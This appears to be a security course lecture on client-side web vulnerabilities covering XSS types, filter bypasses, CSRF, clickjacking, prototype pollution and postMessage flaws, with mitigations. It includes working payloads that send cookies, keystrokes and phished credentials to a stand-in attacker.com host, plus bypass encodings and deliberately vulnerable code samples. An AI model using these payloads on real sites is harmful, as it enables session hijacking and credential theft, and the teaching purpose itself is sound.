Client-Side Vulnerabilities

Client-side vulnerabilities exploit weaknesses in how web browsers and client-side code handle user input and external data. Unlike server-side vulnerabilities that execute on the server, client-side attacks execute in the victim's browser, potentially compromising the user's session, data, and interactions with the web application. This lecture covers the most critical client-side vulnerabilities and their mitigations.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is one of the most prevalent and dangerous web vulnerabilities. XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser with the same privileges as the legitimate application code.

Why XSS is Dangerous

Impact of XSS:

  1. Session Hijacking: Steal session cookies and impersonate users

  2. Credential Theft: Capture keystrokes, form inputs, passwords

  3. Phishing: Display fake login forms or modify page content

  4. Malware Distribution: Redirect to malicious sites or download malware

  5. Defacement: Modify website appearance

  6. Data Exfiltration: Access and steal sensitive information

  7. Account Takeover: Change passwords, email addresses

  8. Propagation: Create self-replicating XSS worms (stored XSS)

  9. Cryptocurrency Mining: Use victim's CPU for mining

  10. Complete Application Control: Execute any action the user can perform

Types of XSS

XSS vulnerabilities are classified into three main types based on how the payload is delivered and executed.

1. Reflected XSS (Non-Persistent)

Definition: The malicious script is embedded in the HTTP request (typically URL or form data) and immediately reflected back in the response without proper sanitization.

Characteristics:

  • Requires user interaction (clicking malicious link)

  • Payload not stored on server

  • Single request/response cycle

  • Also called Type-I or Non-Persistent XSS

Reflected XSS Example

Vulnerable Application:

<?php
// search.php
$query = $_GET['q'];
echo "<h1>Search results for: " . $query . "</h1>";
?>

Normal Request:

https://example.com/search?q=security
Response: <h1>Search results for: security</h1>

Malicious Request:

https://example.com/search?q=<script>alert(document.cookie)</script>
Response: <h1>Search results for: <script>alert(document.cookie)</script></h1>

Attack Scenario:

  1. Attacker crafts malicious URL:

    https://example.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  2. Attacker sends URL to victim via:

    • Email phishing

    • Social media

    • Malicious website

    • SMS/messaging apps

  3. Victim clicks link

  4. Script executes in victim's browser

  5. Cookie sent to attacker's server

URL Encoding to Evade Detection:

https://example.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E

Advanced Reflected XSS Payloads

Basic Alert:

<script>alert(document.domain)</script>

Cookie Exfiltration:

<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

Image Tag (No Script Tags):

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

SVG Payload:

<svg onload="alert(1)">

Iframe Injection:

<iframe src="javascript:alert(document.cookie)">

2. Stored XSS (Persistent)

Definition: The malicious script is permanently stored on the server (database, file, logs, etc.) and executed whenever users access the affected page.

Characteristics:

  • Stored in application's database/storage

  • Executes automatically when page loads

  • No direct user interaction required

  • Most dangerous type of XSS

  • Also called Type-II or Persistent XSS

  • Can create XSS worms

Stored XSS Example

Vulnerable Comment System:

<?php
// Save comment
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");

// Display comments
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
    echo "<div class='comment'>" . $comment['text'] . "</div>";
}
?>

Attack Scenario:

  1. Attacker submits comment:

    <script>
    // Steal cookies from all visitors
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: JSON.stringify({
        cookie: document.cookie,
        url: window.location.href,
        user: document.querySelector('.username')?.innerText
      })
    });
    </script>
  2. Comment stored in database

  3. Every user viewing comments page executes the script

  4. Attacker collects data from all victims

Stored XSS Attack Vectors

User Profiles:

Username: <img src=x onerror="alert(1)">
Bio: <svg onload="alert(document.domain)">
Website: javascript:alert(1)

Forum Posts:

[b]Bold text[/b] <script>/* Malicious code */</script>

File Uploads (SVG):

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full"
     xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
           stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

Contact Forms:

Name: <img src=x onerror=alert(1)>
Message: Click <a href="javascript:void(fetch('//attacker.com/steal?c='+document.cookie))">here</a>

Self-Replicating XSS Worm

Samy Worm (MySpace 2005) - Concept:

<script>
// Payload that adds attacker as friend and posts itself
var ajax = new XMLHttpRequest();
ajax.open('POST', '/addFriend', true);
ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
ajax.send('friend=attacker');

// Copy payload to victim's profile
var payload = document.getElementById('payload').innerHTML;
var profile = new XMLHttpRequest();
profile.open('POST', '/updateProfile', true);
profile.send('bio=' + encodeURIComponent(payload));
</script>

3. DOM-Based XSS

Definition: The vulnerability exists in client-side JavaScript code that improperly handles user input, modifying the DOM without proper sanitization.

Characteristics:

  • Payload never sent to server

  • Executed entirely in browser

  • Server-side filters ineffective

  • Harder to detect with traditional tools

  • Sources: URL fragments, postMessage, localStorage

DOM XSS Sources (Input Points)

URL-Based Sources:

  • location.href

  • location.hash (#fragment)

  • location.search (?query)

  • document.URL

  • document.documentURI

  • document.referrer

Other Sources:

  • window.name

  • postMessage data

  • localStorage / sessionStorage

  • IndexedDB

  • WebSocket messages

DOM XSS Sinks (Dangerous Functions)

Code Execution:

  • eval()

  • Function()

  • setTimeout() with string argument

  • setInterval() with string argument

HTML Modification:

  • element.innerHTML

  • element.outerHTML

  • document.write()

  • document.writeln()

Attribute Modification:

  • element.src

  • element.href

  • element.action

  • element.formaction

  • element.srcdoc

jQuery Sinks:

  • $()

  • .html()

  • .append()

  • .after()

DOM XSS Examples

Example 1: innerHTML

// Vulnerable code
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

Attack:

<input id="search" value="<img src=x onerror=alert(1)>">

Example 2: location.hash

// Vulnerable code
var name = location.hash.substring(1);
document.write('Welcome ' + name);

Attack:

https://example.com/page#<img src=x onerror=alert(1)>

Example 3: jQuery

// Vulnerable code
var input = location.hash.substring(1);
$('#content').html('Results: ' + input);

Attack:

https://example.com/#<script>alert(1)</script>

Example 4: Attribute Sink

// Vulnerable code
var url = location.hash.substring(1);
document.getElementById('link').href = url;

Attack:

https://example.com/#javascript:alert(document.cookie)

Advanced DOM XSS

Template Literals:

// Vulnerable
const name = location.hash.substring(1);
document.body.innerHTML = `<h1>Hello ${name}</h1>`;

Prototype Pollution Leading to DOM XSS:

// Pollute prototype
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Later in code (vulnerable if it reads from prototype)
someElement.innerHTML = config.template; // Uses polluted prototype

Mutation XSS (mXSS)

Definition: XSS that exploits browser's HTML parser inconsistencies and mutation behavior, bypassing sanitization.

How It Works:

  1. Input passes sanitization

  2. Browser's parser mutates the HTML

  3. Mutation creates valid XSS payload

Example:

<!-- Input (passes sanitizer) -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- After browser parsing (mXSS) -->
<noscript><p title=""></noscript><img src=x onerror=alert(1)>

Another Example:

<!-- Input -->
<form><math><mtext></form><form><mglyph><style><!--</style><img src=x onerror=alert(1)>

<!-- Browser mutation creates XSS -->

Mitigation:

  • Use DOMPurify with safe parsing mode

  • Avoid innerHTML, use textContent

  • Implement strict CSP

XSS Filter Bypasses

1. Bypassing WAF/Filters

Case Manipulation:

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

HTML Encoding:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

JavaScript Encoding:

<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

Hex Encoding:

<img src=x onerror="eval('\x61\x6c\x65\x72\x74\x28\x31\x29')">

Unicode Escapes:

<img src=x onerror="\u{61}\u{6c}\u{65}\u{72}\u{74}(1)">

2. Bypassing Sanitization

Incomplete Tag Removal:

If filter removes <script>:

<scr<script>ipt>alert(1)</script>
<!-- After removal: <script>alert(1)</script> -->

Event Handler Obfuscation:

<img src=x one
rror=alert(1)>  <!-- Newline breaks detection -->

<img src=x onerror
=alert(1)>

<img/src=x/onerror=alert(1)>

Alternative Tags:

<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<iframe onload=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

Alternative Event Handlers:

<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<img src=x onmouseover=alert(1)>
<img src=x onclick=alert(1)>
<img src=x onanimationstart=alert(1)>
<img src=x onanimationend=alert(1)>

3. Context-Specific Bypasses

Inside Attribute:

" onload="alert(1)
' onload='alert(1)
`onload=`alert(1)

Breaking Out of JavaScript String:

var search = 'USER_INPUT';

// Attack: '; alert(1); //
var search = ''; alert(1); //';

Breaking Out of JavaScript Comment:

var search = 'USER_INPUT'; // Display results

// Attack:
// </script><script>alert(1)//

4. Polyglot Payloads

Work in multiple contexts:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Simpler polyglot:

'"><img src=x onerror=alert(1)>

XSS Exploitation Techniques

<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

With Image:

<script>
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
</script>

2. Keylogger

<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/keys', {
    method: 'POST',
    body: e.key
  });
};
</script>

3. Phishing

<script>
document.body.innerHTML = `
  <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
    <h1>Session Expired</h1>
    <form action="https://attacker.com/phish" method="POST">
      Username: <input name="user"><br>
      Password: <input type="password" name="pass"><br>
      <button>Login</button>
    </form>
  </div>
`;
</script>

4. BeEF Hook

Browser Exploitation Framework:

<script src="https://attacker.com/beef/hook.js"></script>

Attacker gains:

  • Browser information

  • Plugin detection

  • Network scanning

  • Social engineering modules

  • Persistent access

5. Cryptocurrency Mining

<script src="https://attacker.com/miner.js"></script>
<script>
  var miner = new CoinHive.Anonymous('site-key');
  miner.start();
</script>

XSS Prevention and Mitigation

1. Input Validation

Whitelist Approach:

// Only allow alphanumeric
function validateInput(input) {
  return /^[a-zA-Z0-9]+$/.test(input);
}

Sanitize HTML:

// Use DOMPurify
const clean = DOMPurify.sanitize(dirty);

2. Output Encoding

HTML Context:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    .replace(/\//g, '&#x2F;');
}

JavaScript Context:

function encodeJS(str) {
  return str
    .replace(/\\/g, '\\\\')
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r')
    .replace(/\t/g, '\\t');
}

URL Context:

const encoded = encodeURIComponent(userInput);

3. Use Safe APIs

Safe:

element.textContent = userInput;  // Safe
element.setAttribute('data-value', userInput);  // Safe (for data attributes)

Unsafe:

element.innerHTML = userInput;  // Dangerous!
element.outerHTML = userInput;  // Dangerous!

4. Content Security Policy (CSP)

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-{random}' 'strict-dynamic';
  object-src 'none';

5. HTTPOnly Cookies

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

6. Template Engines with Auto-Escaping

React (Auto-escapes):

<div>{userInput}</div>  // Automatically escaped

Vue.js:

<div>{{ userInput }}</div>  // Automatically escaped

Angular:

<div>{{ userInput }}</div>  // Automatically escaped

7. Framework-Specific Protection

React - Dangerous innerHTML:

// Avoid this:
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Use this instead:
<div>{userInput}</div>

Vue.js - v-html:

<!-- Avoid -->
<div v-html="userInput"></div>

<!-- Use -->
<div>{{ userInput }}</div>

Cross-Site Request Forgery (CSRF)

Definition: CSRF tricks authenticated users into executing unwanted actions on a web application where they're authenticated. The attack abuses the browser's automatic inclusion of authentication credentials (cookies) with cross-origin requests.

How CSRF Works

Prerequisites for CSRF:

  1. Relevant Action: Privileged action or state-changing operation

  2. Cookie-Based Authentication: Application relies solely on cookies

  3. No Unpredictable Parameters: Attacker can determine all request parameters

Attack Flow:

  1. Victim authenticates to vulnerable-bank.com

  2. Browser stores session cookie

  3. Victim visits attacker's site evil.com

  4. Attacker's page makes request to vulnerable-bank.com

  5. Browser automatically includes session cookie

  6. Request executes with victim's privileges

CSRF Attack Examples

Example 1: GET Request

Vulnerable Endpoint:

GET /transfer?to=attacker&amount=1000

Attack:

<!-- On attacker's website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

When victim loads attacker's page, image tag triggers request with victim's cookies.

Example 2: POST Request (Auto-Submit Form)

Vulnerable Endpoint:

POST /transfer
to=recipient&amount=1000

Attack:

<html>
<body>
  <form id="csrf" action="https://bank.com/transfer" method="POST">
    <input name="to" value="attacker">
    <input name="amount" value="1000">
  </form>
  <script>
    document.getElementById('csrf').submit();
  </script>
</body>
</html>

Example 3: XMLHttpRequest

<script>
fetch('https://bank.com/transfer', {
  method: 'POST',
  credentials: 'include',  // Include cookies
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: 'to=attacker&amount=1000'
});
</script>

Example 4: Change Email (Account Takeover)

<form action="https://example.com/change-email" method="POST">
  <input name="email" value="[email protected]">
</form>
<script>
  document.forms[0].submit();
</script>

After email changed, attacker requests password reset.

CSRF Defense Mechanisms

1. CSRF Tokens (Synchronizer Token Pattern)

Server-Side:

// Generate token
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;

// Verify token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}

Client-Side:

<form method="POST" action="/transfer">
  <input type="hidden" name="csrf_token" value="<?= $csrf_token ?>">
  <input name="to">
  <input name="amount">
  <button>Transfer</button>
</form>

AJAX Requests:

fetch('/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getTokenFromMeta()
  },
  body: JSON.stringify({to: 'recipient', amount: 1000})
});

2. SameSite Cookies

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

SameSite Values:

  • Strict: Never sent on cross-site requests

    Set-Cookie: session=abc123; SameSite=Strict

    ✅ Prevents all CSRF ❌ Breaks legitimate cross-site navigation

  • Lax (Default in modern browsers):

    Set-Cookie: session=abc123; SameSite=Lax

    ✅ Sent on top-level GET navigation (clicking links) ❌ Not sent on POST, iframe, AJAX ✅ Good balance between security and usability

  • None:

    Set-Cookie: session=abc123; SameSite=None; Secure

    ✅ Sent on all requests (requires Secure flag) ❌ No CSRF protection

3. Custom Headers

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-Requested-With': 'XMLHttpRequest',
    'X-Custom-Header': 'value'
  },
  body: JSON.stringify(data)
});

Server validates:

if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
    abort(403)

Why This Works: Simple requests can be sent cross-origin, but custom headers trigger CORS preflight, which attacker cannot pass without CORS headers.

// Set token in cookie and form
document.cookie = 'csrf_token=' + token;

<form>
  <input type="hidden" name="csrf_token" value="TOKEN">
</form>

Server validates:

if request.cookies['csrf_token'] != request.form['csrf_token']:
    abort(403)

5. Referer/Origin Validation

allowed_origins = ['https://example.com', 'https://app.example.com']
origin = request.headers.get('Origin') or request.headers.get('Referer')

if not any(origin.startswith(allowed) for allowed in allowed_origins):
    abort(403)

Limitations:

  • Users can disable Referer header

  • Can be bypassed with open redirects

  • Not recommended as sole defense

CSRF Bypass Techniques

1. Bypass SameSite=Lax

GET requests are allowed with SameSite=Lax:

<a href="https://bank.com/transfer?to=attacker&amount=1000">
  Click for prize!
</a>

Mitigation: Use POST for state-changing operations.

2. Token Leakage

If token appears in URL or Referer:

<a href="https://bank.com/transfer?csrf_token=abc123&to=victim">
<!-- If this leaks in Referer to attacker's site -->

3. Token in Response

If token predictable or reusable:

// Fetch token first
fetch('https://bank.com/get-token')
  .then(r => r.text())
  .then(token => {
    // Use stolen token
    fetch('https://bank.com/transfer', {
      method: 'POST',
      body: 'csrf_token=' + token + '&to=attacker'
    });
  });

Mitigation: Ensure CORS headers prevent cross-origin token reading.

4. Subdomain Takeover

If attacker controls subdomain:

// On evil.example.com (same-site!)
document.cookie = 'csrf_token=attacker_value; domain=.example.com';

Mitigation: Don't use domain-wide cookies for CSRF tokens.

Clickjacking

Definition: Clickjacking tricks users into clicking on something different from what they perceive, potentially causing them to perform unintended actions.

How Clickjacking Works

Attacker overlays invisible iframe over deceptive content:

<html>
<head>
  <style>
    iframe {
      position: absolute;
      top: 100px;
      left: 200px;
      width: 500px;
      height: 300px;
      opacity: 0.0001;  /* Nearly invisible */
      z-index: 2;
    }
    button {
      position: absolute;
      top: 200px;
      left: 350px;
      z-index: 1;
    }
  </style>
</head>
<body>
  <iframe src="https://bank.com/delete-account"></iframe>
  <button>Click for FREE iPHONE!</button>
</body>
</html>

User thinks they're clicking "Click for FREE iPHONE!" but actually clicking "Delete Account" button in invisible iframe.

Clickjacking Attack Scenarios

1. Like/Follow Jacking:

<iframe src="https://facebook.com/page/like"></iframe>
<div>Click to continue...</div>

2. Credential Theft:

<!-- Overlay fake login over real login iframe -->
<iframe src="https://site.com/login"></iframe>

3. Webcam/Microphone Permission:

<iframe src="https://site.com/request-permissions"></iframe>

4. Drag-and-Drop:

<iframe src="data:text/html,<script>/* malicious */</script>"></iframe>
<!-- Trick user into dragging content into browser address bar -->

Clickjacking Defenses

1. X-Frame-Options Header:

X-Frame-Options: DENY

Cannot be embedded in any frame.

X-Frame-Options: SAMEORIGIN

Can only be framed by same origin.

2. CSP frame-ancestors:

Content-Security-Policy: frame-ancestors 'none'

Modern replacement for X-Frame-Options.

Content-Security-Policy: frame-ancestors 'self'

Only same origin can frame.

Content-Security-Policy: frame-ancestors https://trusted.com

Specific origin can frame.

3. Frame-Busting JavaScript (Unreliable):

// Don't rely on this alone!
if (top !== self) {
  top.location = self.location;
}

Bypass:

<iframe sandbox="allow-forms allow-scripts" src="..."></iframe>

Other Client-Side Vulnerabilities

DOM Clobbering

Definition: Exploiting browser's behavior of creating global variables for HTML elements with id or name attributes.

Example:

<form id="user">
  <input name="admin" value="true">
</form>

<script>
// Attacker injects:
<a id="config" href="https://attacker.com/evil.js">

// Later in code:
if (config.admin) {  // Reads from DOM, not expected object
  // ...
}

// Or:
let script = document.createElement('script');
script.src = config.apiUrl;  // Points to attacker's URL
document.body.appendChild(script);
</script>

Mitigation:

  • Use const/let for variables

  • Don't rely on global scope

  • Validate types: if (typeof config === 'object')

Prototype Pollution

Definition: Modifying JavaScript object prototypes, affecting all objects.

Example:

// Vulnerable merge function
function merge(target, source) {
  for (let key in source) {
    target[key] = source[key];
  }
  return target;
}

// Attack payload
let payload = JSON.parse('{"__proto__": {"admin": true}}');
merge({}, payload);

// Now all objects have admin property
let user = {};
console.log(user.admin);  // true!

Client-Side Impact:

  • XSS via polluted properties

  • Authentication bypass

  • Security control bypass

Mitigation:

function safeMerge(target, source) {
  for (let key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue;
    }
    if (source.hasOwnProperty(key)) {
      target[key] = source[key];
    }
  }
}

WebSocket Vulnerabilities

Missing Origin Validation:

// Vulnerable server
wss.on('connection', function(ws) {
  // No origin check!
  ws.on('message', function(msg) {
    processMessage(msg);
  });
});

Attack:

<!-- Attacker's page -->
<script>
let ws = new WebSocket('wss://vulnerable.com/socket');
ws.onopen = function() {
  ws.send('{"action": "deleteAccount"}');
};
</script>

Mitigation:

wss.on('connection', function(ws, req) {
  const origin = req.headers.origin;
  if (origin !== 'https://trusted.com') {
    ws.close();
    return;
  }
  // ...
});

postMessage Vulnerabilities

Insecure Receiver:

// Vulnerable
window.addEventListener('message', function(e) {
  // No origin check!
  eval(e.data);
});

Attack:

targetWindow.postMessage('alert(document.cookie)', '*');

Secure Implementation:

window.addEventListener('message', function(e) {
  // Validate origin
  if (e.origin !== 'https://trusted.com') {
    return;
  }

  // Validate data
  if (typeof e.data !== 'string') {
    return;
  }

  // Safe processing
  processMessage(e.data);
});

Key Takeaways

  • XSS remains one of the most critical web vulnerabilities

  • Three main types: Reflected, Stored, and DOM-based

  • Always encode output based on context

  • Use CSP and HTTPOnly cookies as defense-in-depth

  • CSRF requires both prevention mechanisms and secure coding

  • SameSite cookies provide strong CSRF protection

  • Clickjacking needs frame-ancestors CSP or X-Frame-Options

  • Modern JavaScript introduces new attack vectors (Prototype Pollution, DOM Clobbering)

  • WebSockets and postMessage require explicit origin validation

  • Defense requires multiple layers of protection

Resources

XSS

CSRF

Clickjacking

Advanced Topics

Tools

Last updated